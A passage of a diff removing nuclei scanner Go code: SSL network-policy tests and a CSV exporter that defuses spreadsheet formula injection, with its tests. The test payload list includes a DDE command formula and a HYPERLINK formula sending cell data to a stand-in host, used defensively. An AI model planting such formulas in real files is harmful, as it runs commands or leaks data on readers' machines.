requestOptions.Output.Request(requestOptions.TemplateID, input.MetaInput.Input, request.Type().String(), err)
requestOptions.Progress.IncrementFailedRequestsBy(1)
return err
}
if err := request.options.HostBackoffWait(input.Context(), addressToDial); err != nil {
return err
-179
View File
@@ -1,179 +0,0 @@
package ssl
import (
"context"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"math/big"
"net"
"slices"
"sync/atomic"
"testing"
"time"
"github.com/projectdiscovery/fastdialer/fastdialer"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v3/internal/tests/testutils"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
"github.com/projectdiscovery/tlsx/pkg/tlsx/openssl"
)
func selfSignedCertificate(t *testing.T, name string) tls.Certificate {
t.Helper()
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
require.NoError(t, err)
template := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: name},
NotBefore: time.Now().Add(-time.Hour),
NotAfter: time.Now().Add(time.Hour),
}
der, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
require.NoError(t, err)
return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}
}
// serveTLS counts the TLS handshakes that reach address.
func serveTLS(t *testing.T, address, name string, handshakes *atomic.Int32) string {
t.Helper()
listener, err := tls.Listen("tcp", address, &tls.Config{Certificates: []tls.Certificate{selfSignedCertificate(t, name)}})
require.NoError(t, err)
t.Cleanup(func() { _ = listener.Close() })
go func() {
for {
conn, err := listener.Accept()
if err != nil {
return
}
go func() {
defer func() { _ = conn.Close() }()
_ = conn.SetDeadline(time.Now().Add(5 * time.Second))
if conn.(*tls.Conn).Handshake() == nil {
handshakes.Add(1)
}
}()
}
}()
return listener.Addr().String()
}
func TestSSLOpenSSLObeysNetworkPolicy(t *testing.T) {
if !openssl.IsAvailable() {
t.Skip("openssl binary is not installed")
}
addrs, err := net.LookupHost("localhost")
if err != nil || len(addrs) < 2 {
t.Skip("localhost does not resolve to both loopback addresses")
}
// The policy allows 127.0.0.1 and denies ::1, so localhost passes the
// dial check. The openssl binary must not connect to ::1.
var allowedHandshakes, deniedHandshakes atomic.Int32
allowed := serveTLS(t, "127.0.0.1:0", "allowed", &allowedHandshakes)
_, port, err := net.SplitHostPort(allowed)
require.NoError(t, err)
serveTLS(t, net.JoinHostPort("::1", port), "denied", &deniedHandshakes)
options := testutils.DefaultOptions.Copy()
options.SetExecutionID(t.Name())
options.ExcludeTargets = []string{"::1"}
testutils.Init(options)
t.Cleanup(func() { testutils.Cleanup(options) })
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{ID: "ssl-openssl-policy"})
executerOpts.IsMultiProtocol = true
request := &Request{ID: "ssl-openssl-policy", Address: "{{Host}}:{{Port}}", ScanMode: "openssl"}
require.NoError(t, request.Compile(executerOpts))
// The scan resolves names with the fastdialer, not the system resolver. On
// Windows the hosts file has no localhost entry, so the name does not resolve.
if !resolvesToBothLoopbacks(request) {
t.Skip("the scan dialer does not resolve localhost to both loopback addresses")
}
var event output.InternalEvent
input := contextargs.NewWithInput(context.Background(), net.JoinHostPort("localhost", port))
err = request.ExecuteWithResults(input, nil, nil, func(e *output.InternalWrappedEvent) {
event = e.InternalEvent
})
require.NoError(t, err)
require.Equal(t, "allowed", event["subject_cn"])
require.Zero(t, deniedHandshakes.Load(), "openssl connected to a denied address")
}
func resolvesToBothLoopbacks(request *Request) bool {
data, err := request.dialer.GetDNSData("localhost")
if err != nil {
return false
}
return slices.Contains(data.A, "127.0.0.1") && slices.Contains(data.AAAA, "::1")
}
func TestSSLOpenSSLLiteralIPObeysExecutionPolicy(t *testing.T) {
if !openssl.IsAvailable() {
t.Skip("openssl binary is not installed")
}
// The input pins ::1 as its custom ip, and a custom dialer with no deny
// list would connect to it. The execution policy denies it, so the openssl
// binary must not connect to it.
var deniedHandshakes atomic.Int32
denied := serveTLS(t, "[::1]:0", "denied", &deniedHandshakes)
_, port, err := net.SplitHostPort(denied)
require.NoError(t, err)
options := testutils.DefaultOptions.Copy()
options.SetExecutionID(t.Name())
options.ExcludeTargets = []string{"::1"}
testutils.Init(options)
t.Cleanup(func() { testutils.Cleanup(options) })
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{ID: "ssl-openssl-literal-ip"})
executerOpts.IsMultiProtocol = true
customDialer, err := fastdialer.NewDialer(fastdialer.DefaultOptions)
require.NoError(t, err)
t.Cleanup(customDialer.Close)
executerOpts.CustomFastdialer = customDialer
request := &Request{ID: "ssl-openssl-literal-ip", Address: "{{Host}}:{{Port}}", ScanMode: "openssl"}
require.NoError(t, request.Compile(executerOpts))
input := contextargs.NewWithInput(context.Background(), net.JoinHostPort("localhost", port))
input.MetaInput.CustomIP = "::1"
err = request.ExecuteWithResults(input, nil, nil, func(*output.InternalWrappedEvent) {})
require.Error(t, err)
require.Zero(t, deniedHandshakes.Load(), "openssl connected to an address the execution policy denies")
}
func TestSSLOpenSSLCustomIPObeysNetworkPolicy(t *testing.T) {
if !openssl.IsAvailable() {
t.Skip("openssl binary is not installed")
}
// The input pins the denied address ::1 as its custom ip, so the request
// skips the name lookup. The openssl binary must still not connect to it.
var deniedHandshakes atomic.Int32
denied := serveTLS(t, "[::1]:0", "denied", &deniedHandshakes)
_, port, err := net.SplitHostPort(denied)
require.NoError(t, err)
options := testutils.DefaultOptions.Copy()
options.SetExecutionID(t.Name())
options.ExcludeTargets = []string{"::1"}
testutils.Init(options)
t.Cleanup(func() { testutils.Cleanup(options) })
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{ID: "ssl-openssl-custom-ip"})
executerOpts.IsMultiProtocol = true
request := &Request{ID: "ssl-openssl-custom-ip", Address: "{{Host}}:{{Port}}", ScanMode: "openssl"}
require.NoError(t, request.Compile(executerOpts))
input := contextargs.NewWithInput(context.Background(), net.JoinHostPort("localhost", port))
input.MetaInput.CustomIP = "::1"
_ = request.ExecuteWithResults(input, nil, nil, func(*output.InternalWrappedEvent) {})
require.Zero(t, deniedHandshakes.Load(), "openssl connected to a denied custom ip")
}
-310
View File
@@ -1,310 +0,0 @@
package csv
import (
"encoding/csv"
"os"
"regexp"
"strconv"
"strings"
"sync"
"time"
"github.com/pkg/errors"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
)
const (
// defaultFile is used when no file is configured, mirroring the PDF
// exporter. The generated default reporting config lists every exporter with
// an empty block, and an empty block must not stop the client from starting.
defaultFile = "nuclei-results.csv"
// filePerm keeps the export private to the current user. Rows carry
// extracted response data and a replayable curl command, which can include
// credentials, so the file is not world readable by default.
filePerm = 0o600
// multiValueSeparator separates the elements of a multi-value cell.
multiValueSeparator = "\n"
)
// Options contains the configuration options for the CSV exporter client
type Options struct {
// File is the file to export found CSV result to
File string `yaml:"file"`
// OmitRaw whether to leave the curl command, which is a rendering of the raw
// request, out of the export
OmitRaw bool `yaml:"omit-raw"`
}
// header is the ordered list of columns written to the CSV file.
//
// The schema is a flattened full row of the result event: everything a triage
// or GRC workflow normally needs is present as its own column, so the file can
// be opened in a spreadsheet or handed to a ticketing/SIEM intake without any
// further transformation.
//
// Column names mirror the JSON/JSONL keys of output.ResultEvent one-for-one so
// a column can always be traced back to the field it came from, and match the
// names httpx uses in its own CSV mode where they overlap (host, port,
// timestamp). The two exceptions are template-name and template-type, which map
// to info.name and type: bare "name"/"type" are ambiguous as spreadsheet
// headers.
var header = []string{
"template-id",
"template-name",
"template-type",
"severity",
"host",
"ip",
"port",
"matched-at",
"matcher-name",
"extractor-name",
"extracted-results",
"cve-id",
"cwe-id",
"cvss-metrics",
"cvss-score",
"description",
"reference",
"curl-command",
"timestamp",
}
// Exporter is an exporter for nuclei results in CSV format
type Exporter struct {
options *Options
mutex *sync.Mutex
writer *csv.Writer
outputFile *os.File
closed bool
}
// New creates a new CSV exporter integration client based on options.
func New(options *Options) (*Exporter, error) {
opts := &Options{}
if options != nil {
*opts = *options
}
if opts.File == "" {
opts.File = defaultFile
}
outputFile, err := os.OpenFile(opts.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, filePerm)
if err != nil {
return nil, errors.Wrap(err, "failed to create CSV file")
}
writer := csv.NewWriter(outputFile)
if err := writer.Write(header); err != nil {
_ = outputFile.Close()
return nil, errors.Wrap(err, "failed to write CSV header")
}
writer.Flush()
if err := writer.Error(); err != nil {
_ = outputFile.Close()
return nil, errors.Wrap(err, "failed to write CSV header")
}
return &Exporter{
mutex: &sync.Mutex{},
options: opts,
writer: writer,
outputFile: outputFile,
}, nil
}
// Export appends the passed result event as a flattened row to the CSV file.
// Rows are flushed as they are written so the file is complete and readable
// while a long scan is still running. The event is only read, never modified,
// because the same event is handed to every exporter and tracker.
func (exporter *Exporter) Export(event *output.ResultEvent) error {
if event == nil {
return nil
}
exporter.mutex.Lock()
defer exporter.mutex.Unlock()
if exporter.closed {
return errors.New("CSV exporter is closed")
}
if err := exporter.writer.Write(formatRow(event, exporter.options.OmitRaw)); err != nil {
return errors.Wrap(err, "failed to write CSV row")
}
exporter.writer.Flush()
if err := exporter.writer.Error(); err != nil {
return errors.Wrap(err, "failed to write CSV row")
}
return nil
}
// formulaTriggers are the leading characters that Excel, LibreOffice Calc and
// Google Sheets treat as the start of a formula. A cell beginning with one of
// them is evaluated when the file is opened, so a response-derived value such
// as `=cmd|'/C calc'!A0` captured by an extractor would execute on the machine
// of whoever opens the export (CWE-1236).
const formulaTriggers = "=+-@\t\r"
// plainNumber matches a value that is only a decimal number. It is used to keep
// numeric cells such as a negative extracted value sortable. It is deliberately
// stricter than strconv.ParseFloat, which also accepts forms like "+Inf",
// "-NaN" and hex floats that a spreadsheet does not read as numbers.
var plainNumber = regexp.MustCompile(`^[+-]?([0-9]+\.?[0-9]*|\.[0-9]+)([eE][+-]?[0-9]+)?$`)
// startsWithFormulaTrigger reports whether a spreadsheet would read the value
// as a formula. Leading spaces and control characters are skipped first,
// because some spreadsheets ignore them before the trigger.
func startsWithFormulaTrigger(value string) bool {
for i := 0; i < len(value); i++ {
c := value[i]
if strings.IndexByte(formulaTriggers, c) >= 0 {
return true
}
if c > ' ' {
return false
}
}
return false
}
// neutralizeFormula prefixes a single apostrophe to any value a spreadsheet
// would evaluate as a formula, which forces the cell to be read as text.
//
// The original value is recovered by removing one leading apostrophe, except
// for a value that already started with an apostrophe, which is left alone and
// is therefore indistinguishable from a neutralized one. Values that are only a
// plain number are left untouched so numeric columns (cvss-score, port) stay
// sortable and a negative number is not needlessly quoted.
func neutralizeFormula(value string) string {
if !startsWithFormulaTrigger(value) || plainNumber.MatchString(value) {
return value
}
return "'" + value
}
// neutralizeLines neutralizes every line of a value that is stored as a list
// of lines. Consumers split these cells back into lines, so each line has to be
// safe on its own and not just the start of the cell. Line endings are
// normalized to a single newline, which is the separator of the list.
func neutralizeLines(value string) string {
if value == "" {
return ""
}
value = strings.ReplaceAll(value, "\r\n", "\n")
value = strings.ReplaceAll(value, "\r", "\n")
lines := strings.Split(value, "\n")
for i, line := range lines {
lines[i] = neutralizeFormula(line)
}
return strings.Join(lines, "\n")
}
// neutralizeList joins the elements of a multi-value column with the given
// separator after neutralizing each element, and each line of each element.
func neutralizeList(values []string, separator string) string {
if len(values) == 0 {
return ""
}
neutralized := make([]string, 0, len(values))
for _, value := range values {
neutralized = append(neutralized, neutralizeLines(value))
}
return strings.Join(neutralized, separator)
}
// formatRow flattens a ResultEvent into the ordered set of CSV columns defined
// by header. Empty values are emitted for fields that are not present on the
// event (for example, templates without CVE/CVSS classification metadata).
//
// Two separate escaping concerns are handled here. Structural injection is
// handled by encoding/csv, which RFC 4180-quotes any value carrying a comma,
// double quote or newline so it cannot forge extra columns or rows. Spreadsheet
// formula evaluation is handled by neutralizeFormula, because the target of
// this exporter is explicitly a file someone opens in a spreadsheet. Every
// column goes through it, including the ones that normally hold a controlled
// value, because template metadata is written by the template author and is not
// trusted either.
func formatRow(event *output.ResultEvent, omitRaw bool) []string {
var cve, cwe, cvssMetrics, cvssScore string
if event.Info.Classification != nil {
classification := event.Info.Classification
// CVE/CWE identifiers cannot contain a comma, so they keep the ", "
// form used everywhere else in nuclei.
cve = neutralizeList(classification.CVEID.ToSlice(), ", ")
cwe = neutralizeList(classification.CWEID.ToSlice(), ", ")
cvssMetrics = classification.CVSSMetrics
if classification.CVSSScore > 0 {
cvssScore = strconv.FormatFloat(classification.CVSSScore, 'f', -1, 64)
}
}
// References are URLs and can themselves contain a comma, so they are
// newline separated inside the (quoted) cell rather than comma separated.
var reference string
if event.Info.Reference != nil {
reference = neutralizeList(event.Info.Reference.ToSlice(), multiValueSeparator)
}
var curlCommand string
if !omitRaw {
curlCommand = event.CURLCommand
}
var timestamp string
if !event.Timestamp.IsZero() {
timestamp = event.Timestamp.UTC().Format(time.RFC3339)
}
return []string{
neutralizeFormula(event.TemplateID),
neutralizeFormula(event.Info.Name),
neutralizeFormula(event.Type),
neutralizeFormula(event.Info.SeverityHolder.Severity.String()),
neutralizeFormula(event.Host),
neutralizeFormula(event.IP),
neutralizeFormula(event.Port),
neutralizeFormula(event.Matched),
neutralizeFormula(event.MatcherName),
neutralizeFormula(event.ExtractorName),
// Extracted results are arbitrary response-derived data and can contain
// commas and newlines, so they are newline separated inside the
// (quoted) cell, with every line neutralized on its own.
neutralizeList(event.ExtractedResults, multiValueSeparator),
cve,
cwe,
neutralizeFormula(cvssMetrics),
neutralizeFormula(cvssScore),
neutralizeFormula(event.Info.Description),
reference,
neutralizeFormula(curlCommand),
neutralizeFormula(timestamp),
}
}
// Close flushes any buffered rows and closes the CSV file. It is safe to call
// more than once.
func (exporter *Exporter) Close() error {
exporter.mutex.Lock()
defer exporter.mutex.Unlock()
if exporter.closed {
return nil
}
exporter.closed = true
exporter.writer.Flush()
if err := exporter.writer.Error(); err != nil {
_ = exporter.outputFile.Close()
return errors.Wrap(err, "failed to flush CSV file")
}
if err := exporter.outputFile.Close(); err != nil {
return errors.Wrap(err, "failed to close CSV file")
}
return nil
}
@@ -1,450 +0,0 @@
package csv
import (
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"sync"
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v3/pkg/model"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
)
// payloads are values a spreadsheet would evaluate. Every one of them has to be
// neutralized wherever it lands in a row.
var payloads = []string{
`=cmd|'/C calc'!A0`,
`=HYPERLINK("http://evil.example/?d="&A1,"x")`,
`+1+1`,
`-2+3`,
`@SUM(1+1)`,
"\t=1+1",
"\r=1+1",
" =1+1",
"\n=1+1",
}
// hostileEvent puts the given value into every string field of the event that
// ends up in the CSV, including the template metadata fields.
func hostileEvent(value string) *output.ResultEvent {
return &output.ResultEvent{
TemplateID: value,
Type: value,
Info: model.Info{
Name: value,
Description: value,
Reference: stringslice.NewRawStringSlice([]string{value, "https://example.com", value}),
SeverityHolder: severity.Holder{Severity: severity.High},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: []string{value, "CVE-2020-0001"}},
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", value}},
CVSSMetrics: value,
CVSSScore: 9.8,
},
},
Host: value,
IP: value,
Port: value,
Matched: value,
MatcherName: value,
ExtractorName: value,
ExtractedResults: []string{value, "ok", value},
CURLCommand: value,
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
}
// TestCSVExporterNeutralizesEveryColumn is the guard against a column being
// added or changed without going through neutralizeFormula. The payload is put
// in every field, so a column that skips it shows up as an unsafe cell.
func TestCSVExporterNeutralizesEveryColumn(t *testing.T) {
for _, payload := range payloads {
t.Run(fmt.Sprintf("%q", payload), func(t *testing.T) {
records := export(t, hostileEvent(payload))
require.Len(t, records, 2)
row := records[1]
require.Len(t, row, len(header))
for i, cell := range row {
name := header[i]
if startsWithFormulaTrigger(cell) && !plainNumber.MatchString(cell) {
t.Errorf("column %s is a formula: %q", name, cell)
}
}
// list columns are split back into elements and lines by consumers,
// so each of those has to be safe too
for _, name := range []string{"extracted-results", "reference", "cve-id", "cwe-id"} {
cell := row[column(t, name)]
separator := "\n"
if name == "cve-id" || name == "cwe-id" {
separator = ", "
}
for _, element := range strings.Split(cell, separator) {
for _, line := range strings.Split(element, "\n") {
if startsWithFormulaTrigger(line) && !plainNumber.MatchString(line) {
t.Errorf("column %s has an element that is a formula: %q", name, line)
}
}
}
}
})
}
}
// TestCSVExporterNeutralizesEmbeddedLinesInLists covers a multi-line
// extracted result. Joined with the list separator, its second line becomes an
// element of its own for anyone who splits the cell.
func TestCSVExporterNeutralizesEmbeddedLinesInLists(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "t",
ExtractedResults: []string{"harmless\n=cmd|'/C calc'!A0", "a\r\n@SUM(1)", "b\r+1+1", "-5"},
Info: model.Info{
SeverityHolder: severity.Holder{Severity: severity.Info},
Reference: stringslice.NewRawStringSlice([]string{"https://a.example\n=1+1"}),
},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
row := export(t, event)[1]
require.Equal(t,
[]string{"harmless", "'=cmd|'/C calc'!A0", "a", "'@SUM(1)", "b", "'+1+1", "-5"},
strings.Split(row[column(t, "extracted-results")], "\n"))
require.Equal(t,
[]string{"https://a.example", "'=1+1"},
strings.Split(row[column(t, "reference")], "\n"))
}
func TestCSVExporterNeutralizesTemplateAuthoredMetadata(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "t",
Info: model.Info{
Name: "n",
SeverityHolder: severity.Holder{Severity: severity.Low},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: "=cmd|'/C calc'!A0"},
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", "@SUM(1)"}},
CVSSMetrics: "+cmd",
},
},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
row := export(t, event)[1]
require.Equal(t, "'=cmd|'/C calc'!A0", row[column(t, "cve-id")])
require.Equal(t, "CWE-79, '@SUM(1)", row[column(t, "cwe-id")])
require.Equal(t, "'+cmd", row[column(t, "cvss-metrics")])
}
func TestCSVExporterLeavesBenignValuesAlone(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "tech-detect",
Type: "http",
Info: model.Info{
Name: "Wappalyzer Technology Detection",
Description: "- bullet one\n- bullet two",
SeverityHolder: severity.Holder{Severity: severity.Info},
},
Host: "http://example.com/a=b+c",
Port: "8080",
ExtractedResults: []string{"nginx/1.25", "-1", "+7", "3.14"},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
row := export(t, event)[1]
require.Equal(t, "http://example.com/a=b+c", row[column(t, "host")])
require.Equal(t, "8080", row[column(t, "port")])
require.Equal(t, "nginx/1.25\n-1\n+7\n3.14", row[column(t, "extracted-results")])
require.Equal(t, "2025-06-01T00:00:00Z", row[column(t, "timestamp")])
}
func TestCSVExporterOmitRaw(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "t",
Host: "example.com",
CURLCommand: "curl -H 'Authorization: Bearer secret' 'https://example.com'",
Request: "GET / HTTP/1.1",
Response: "HTTP/1.1 200 OK",
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
for _, omit := range []bool{false, true} {
t.Run(fmt.Sprintf("omit-raw=%t", omit), func(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file, OmitRaw: omit})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
raw, err := os.ReadFile(file)
require.NoError(t, err)
require.NotContains(t, string(raw), "GET / HTTP/1.1", "the raw request is never part of the schema")
require.NotContains(t, string(raw), "HTTP/1.1 200 OK", "the raw response is never part of the schema")
cell := readCSV(t, file)[1][column(t, "curl-command")]
if omit {
require.Empty(t, cell)
require.NotContains(t, string(raw), "secret")
} else {
require.Contains(t, cell, "Authorization: Bearer secret")
}
})
}
}
func TestCSVExporterDoesNotMutateEvent(t *testing.T) {
event := hostileEvent("=1+1")
before := *hostileEvent("=1+1")
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file, OmitRaw: true})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
require.Equal(t, before, *event, "the event is shared with other exporters and must stay untouched")
require.Equal(t, "=1+1", event.CURLCommand)
}
func TestCSVExporterZeroTimestampIsEmpty(t *testing.T) {
row := export(t, &output.ResultEvent{
TemplateID: "t",
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}},
})[1]
require.Empty(t, row[column(t, "timestamp")])
}
func TestCSVExporterNilEvent(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(nil))
require.NoError(t, exporter.Close())
require.Len(t, readCSV(t, file), 1, "only the header is written")
}
func TestCSVExporterDefaultFile(t *testing.T) {
for name, options := range map[string]*Options{
"nil options": nil,
"empty options": {},
} {
t.Run(name, func(t *testing.T) {
t.Chdir(t.TempDir())
exporter, err := New(options)
require.NoError(t, err, "an empty block in a reporting config must not fail")
require.NoError(t, exporter.Export(&output.ResultEvent{TemplateID: "t"}))
require.NoError(t, exporter.Close())
records := readCSV(t, defaultFile)
require.Len(t, records, 2)
require.Equal(t, header, records[0])
})
}
}
func TestCSVExporterDoesNotMutateOptions(t *testing.T) {
t.Chdir(t.TempDir())
options := &Options{}
exporter, err := New(options)
require.NoError(t, err)
require.NoError(t, exporter.Close())
require.Empty(t, options.File, "the caller's options are copied, not edited")
}
func TestCSVExporterFilePermissions(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("unix permission bits are not enforced on windows")
}
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Close())
info, err := os.Stat(file)
require.NoError(t, err)
require.Equal(t, os.FileMode(0o600), info.Mode().Perm())
}
func TestCSVExporterTruncatesExistingFile(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
require.NoError(t, os.WriteFile(file, []byte(strings.Repeat("stale,row\n", 100)), 0o600))
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Close())
require.Len(t, readCSV(t, file), 1)
raw, err := os.ReadFile(file)
require.NoError(t, err)
require.NotContains(t, string(raw), "stale")
}
func TestCSVExporterInvalidPath(t *testing.T) {
dir := t.TempDir()
for name, path := range map[string]string{
"missing parent directory": filepath.Join(dir, "missing", "results.csv"),
"directory": dir,
} {
t.Run(name, func(t *testing.T) {
exporter, err := New(&Options{File: path})
require.Error(t, err)
require.Nil(t, exporter)
})
}
}
func TestCSVExporterClose(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(&output.ResultEvent{TemplateID: "before"}))
require.NoError(t, exporter.Close())
require.NoError(t, exporter.Close(), "closing twice is harmless")
require.Error(t, exporter.Export(&output.ResultEvent{TemplateID: "after"}), "no writes after close")
records := readCSV(t, file)
require.Len(t, records, 2)
require.Equal(t, "before", records[1][column(t, "template-id")])
}
// TestCSVExporterConcurrentExport runs under -race in CI. The reporting client
// calls Export from every scan goroutine.
func TestCSVExporterConcurrentExport(t *testing.T) {
const workers, perWorker = 16, 50
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
var wg sync.WaitGroup
for w := range workers {
wg.Add(1)
go func() {
defer wg.Done()
for i := range perWorker {
err := exporter.Export(&output.ResultEvent{
TemplateID: fmt.Sprintf("w%d-%d", w, i),
Host: "example.com",
ExtractedResults: []string{"a,b", "multi\nline", `q"uote`},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
})
if err != nil {
t.Errorf("export: %v", err)
}
}
}()
}
wg.Wait()
require.NoError(t, exporter.Close())
records := readCSV(t, file)
require.Len(t, records, workers*perWorker+1)
seen := map[string]bool{}
for _, record := range records[1:] {
require.Len(t, record, len(header), "rows must never interleave")
require.Equal(t, "a,b\nmulti\nline\nq\"uote", record[column(t, "extracted-results")])
require.False(t, seen[record[0]], "duplicate row %s", record[0])
seen[record[0]] = true
}
}
// TestCSVExporterLargeValues makes sure big response-derived values are written
// whole and do not break the row structure.
func TestCSVExporterLargeValues(t *testing.T) {
big := strings.Repeat("A,\"\n", 64*1024)
row := export(t, &output.ResultEvent{
TemplateID: "t",
ExtractedResults: []string{big},
Info: model.Info{
Description: big,
SeverityHolder: severity.Holder{Severity: severity.Info},
},
})
require.Equal(t, big, row[1][column(t, "description")])
require.Equal(t, big, row[1][column(t, "extracted-results")])
require.Len(t, row, 2)
require.Len(t, row[1], len(header))
}
func FuzzNeutralizeFormula(f *testing.F) {
for _, seed := range append([]string{"", "a", "-1", "+Inf", "'=x", "=", "\x00=", "é"}, payloads...) {
f.Add(seed)
}
f.Fuzz(func(t *testing.T, value string) {
got := neutralizeFormula(value)
if got != value {
require.Equal(t, "'"+value, got, "the only change allowed is one leading apostrophe")
require.True(t, startsWithFormulaTrigger(value))
}
if startsWithFormulaTrigger(got) {
require.True(t, plainNumber.MatchString(got), "a formula start survived: %q", got)
}
require.Equal(t, got, neutralizeFormula(got), "neutralizing twice changes nothing")
})
}
// FuzzFormatRow checks the guarantees that matter for any input: the row always
// has one cell per column, survives a CSV round trip, and no cell or list line
// is left as a formula.
func FuzzFormatRow(f *testing.F) {
for _, seed := range payloads {
f.Add(seed, seed, seed)
}
f.Add("plain", "a,b\n\"c\"", "x\r\ny")
f.Fuzz(func(t *testing.T, a, b, c string) {
event := &output.ResultEvent{
TemplateID: a,
Type: b,
Host: c,
Matched: a,
ExtractedResults: []string{a, b, c},
CURLCommand: b,
Info: model.Info{
Name: c,
Description: a,
SeverityHolder: severity.Holder{Severity: severity.Medium},
Reference: stringslice.NewRawStringSlice([]string{b, c}),
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: []string{a}},
CWEID: stringslice.StringSlice{Value: []string{b}},
CVSSMetrics: c,
},
},
}
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
records := readCSV(t, file)
require.Len(t, records, 2)
require.Len(t, records[1], len(header))
for i, cell := range records[1] {
if header[i] == "extracted-results" || header[i] == "reference" ||
header[i] == "cve-id" || header[i] == "cwe-id" {
for _, line := range strings.Split(cell, "\n") {
if startsWithFormulaTrigger(line) {
require.True(t, plainNumber.MatchString(line), "column %s line %q", header[i], line)
}
}
continue
}
if startsWithFormulaTrigger(cell) {
require.True(t, plainNumber.MatchString(cell), "column %s cell %q", header[i], cell)
}
}
})
}
-390
View File
@@ -1,390 +0,0 @@
package csv
import (
encodingcsv "encoding/csv"
"os"
"path/filepath"
"strings"
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v3/pkg/model"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
)
// readCSV is a small helper that fully parses the exporter output back into
// records so assertions are made against decoded CSV rather than raw bytes.
func readCSV(t *testing.T, path string) [][]string {
t.Helper()
f, err := os.Open(path)
require.NoError(t, err)
defer func() { _ = f.Close() }()
records, err := encodingcsv.NewReader(f).ReadAll()
require.NoError(t, err)
return records
}
// column resolves a header name to its index so assertions do not depend on
// the ordinal position of a column.
func column(t *testing.T, name string) int {
t.Helper()
for i, h := range header {
if h == name {
return i
}
}
t.Fatalf("unknown CSV column %q", name)
return -1
}
// export writes a single event through the exporter and returns the decoded
// records (header row included).
func export(t *testing.T, event *output.ResultEvent) [][]string {
t.Helper()
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
return readCSV(t, file)
}
func TestCSVExporterWritesHeaderAndFlattenedRows(t *testing.T) {
ts := time.Date(2025, 1, 2, 3, 4, 5, 0, time.UTC)
event := &output.ResultEvent{
TemplateID: "CVE-2021-44228",
Type: "http",
Info: model.Info{
Name: "Apache Log4j2 Remote Code Execution",
Description: "Apache Log4j2 JNDI features do not protect against attacker controlled LDAP endpoints.",
Reference: stringslice.NewRawStringSlice([]string{"https://logging.apache.org/log4j/2.x/security.html"}),
SeverityHolder: severity.Holder{Severity: severity.Critical},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: "CVE-2021-44228"},
CWEID: stringslice.StringSlice{Value: "CWE-502"},
CVSSMetrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
CVSSScore: 10.0,
},
},
Host: "https://example.com",
IP: "93.184.216.34",
Port: "443",
Matched: "https://example.com/api",
MatcherName: "jndi-ldap",
ExtractorName: "version",
ExtractedResults: []string{"2.14.1"},
CURLCommand: "curl -X 'GET' 'https://example.com/api'",
Timestamp: ts,
}
records := export(t, event)
require.Len(t, records, 2, "expected header + one data row")
require.Equal(t, header, records[0])
require.Equal(t, []string{
"CVE-2021-44228",
"Apache Log4j2 Remote Code Execution",
"http",
"critical",
"https://example.com",
"93.184.216.34",
"443",
"https://example.com/api",
